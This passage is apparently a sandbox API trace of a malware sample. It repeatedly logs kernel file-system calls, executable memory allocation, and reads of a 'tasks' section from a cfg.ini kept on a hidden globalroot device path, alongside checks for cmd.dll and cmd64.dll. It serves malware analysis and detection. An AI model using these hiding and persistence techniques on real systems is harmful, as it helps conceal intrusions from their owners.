(Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.233] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.233] KeEnterCriticalRegion () [0121.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.233] ExFreePoolWithTag (P=0xfffffa8003bc36a0, Tag=0x0) [0121.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.233] KeLeaveCriticalRegion () [0121.233] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.233] ReleaseMutex (hMutex=0xf0) returned 1 [0121.233] Sleep (dwMilliseconds=0x927c0) [0121.248] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.248] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.248] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.248] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.248] KeEnterCriticalRegion () [0121.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.248] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.248] IdePortDispatch () returned 0x103 [0121.248] KeWaitForMutexObject () returned 0x0 [0121.248] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.248] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.248] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.248] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.248] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.248] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4f00 [0121.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.248] KeLeaveCriticalRegion () [0121.248] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.248] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.248] KeEnterCriticalRegion () [0121.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.248] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.248] KeLeaveCriticalRegion () [0121.248] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.248] KeEnterCriticalRegion () [0121.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.248] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.249] IdePortDispatch () returned 0x103 [0121.249] KeWaitForMutexObject () returned 0x0 [0121.249] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.249] KeLeaveCriticalRegion () [0121.249] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.249] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.249] KeEnterCriticalRegion () [0121.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.249] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e3000 [0121.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.249] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.249] IdePortDispatch () returned 0x103 [0121.249] KeWaitForMutexObject () returned 0x0 [0121.249] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.249] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.249] IdePortDispatch () returned 0x103 [0121.249] KeWaitForMutexObject () returned 0x0 [0121.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.250] KeLeaveCriticalRegion () [0121.250] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.250] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.250] KeEnterCriticalRegion () [0121.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.250] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.250] KeLeaveCriticalRegion () [0121.250] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.250] KeEnterCriticalRegion () [0121.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.250] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.250] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4c30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.250] KeLeaveCriticalRegion () [0121.250] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.250] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.250] KeEnterCriticalRegion () [0121.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.250] ExFreePoolWithTag (P=0xfffffa8003bc4f00, Tag=0x0) [0121.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.250] KeLeaveCriticalRegion () [0121.250] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.251] ReleaseMutex (hMutex=0xf0) returned 1 [0121.251] Sleep (dwMilliseconds=0x927c0) [0121.264] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.264] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.264] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.264] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.264] KeEnterCriticalRegion () [0121.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.264] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.264] IdePortDispatch () returned 0x103 [0121.264] KeWaitForMutexObject () returned 0x0 [0121.264] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.264] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.264] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.264] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.264] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.264] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3aa0 [0121.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.264] KeLeaveCriticalRegion () [0121.264] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.265] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.265] KeEnterCriticalRegion () [0121.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.265] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.265] KeLeaveCriticalRegion () [0121.265] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.265] KeEnterCriticalRegion () [0121.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.265] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.265] IdePortDispatch () returned 0x103 [0121.265] KeWaitForMutexObject () returned 0x0 [0121.265] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.265] KeLeaveCriticalRegion () [0121.265] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.265] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.265] KeEnterCriticalRegion () [0121.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.265] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e8000 [0121.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.265] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.265] IdePortDispatch () returned 0x103 [0121.265] KeWaitForMutexObject () returned 0x0 [0121.266] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.266] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.266] IdePortDispatch () returned 0x103 [0121.266] KeWaitForMutexObject () returned 0x0 [0121.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.266] KeLeaveCriticalRegion () [0121.266] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.266] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.266] KeEnterCriticalRegion () [0121.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.266] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.267] KeLeaveCriticalRegion () [0121.267] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.267] KeEnterCriticalRegion () [0121.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.267] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.267] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.267] KeLeaveCriticalRegion () [0121.267] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.267] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.267] KeEnterCriticalRegion () [0121.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.267] ExFreePoolWithTag (P=0xfffffa8003bc3aa0, Tag=0x0) [0121.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.267] KeLeaveCriticalRegion () [0121.267] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.267] ReleaseMutex (hMutex=0xf0) returned 1 [0121.267] Sleep (dwMilliseconds=0x927c0) [0121.281] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.281] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.281] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.281] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.281] KeEnterCriticalRegion () [0121.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.282] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.282] IdePortDispatch () returned 0x103 [0121.282] KeWaitForMutexObject () returned 0x0 [0121.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.282] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.282] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.282] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.282] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.282] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4f10 [0121.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.282] KeLeaveCriticalRegion () [0121.282] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.282] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.282] KeEnterCriticalRegion () [0121.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.282] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.282] KeLeaveCriticalRegion () [0121.282] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.283] KeEnterCriticalRegion () [0121.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.283] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.283] IdePortDispatch () returned 0x103 [0121.283] KeWaitForMutexObject () returned 0x0 [0121.283] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.283] KeLeaveCriticalRegion () [0121.283] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.283] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.283] KeEnterCriticalRegion () [0121.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.283] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ed000 [0121.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.283] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.283] IdePortDispatch () returned 0x103 [0121.283] KeWaitForMutexObject () returned 0x0 [0121.283] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.284] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.284] IdePortDispatch () returned 0x103 [0121.284] KeWaitForMutexObject () returned 0x0 [0121.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.284] KeLeaveCriticalRegion () [0121.284] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.284] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.284] KeEnterCriticalRegion () [0121.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.284] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.284] KeLeaveCriticalRegion () [0121.284] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.284] KeEnterCriticalRegion () [0121.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.284] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.284] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.284] KeLeaveCriticalRegion () [0121.284] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.284] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.285] KeEnterCriticalRegion () [0121.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.285] ExFreePoolWithTag (P=0xfffffa8003bc4f10, Tag=0x0) [0121.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.285] KeLeaveCriticalRegion () [0121.285] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.285] ReleaseMutex (hMutex=0xf0) returned 1 [0121.285] Sleep (dwMilliseconds=0x927c0) [0121.299] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.299] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.299] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.299] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.299] KeEnterCriticalRegion () [0121.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.299] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.299] IdePortDispatch () returned 0x103 [0121.300] KeWaitForMutexObject () returned 0x0 [0121.300] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.300] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", 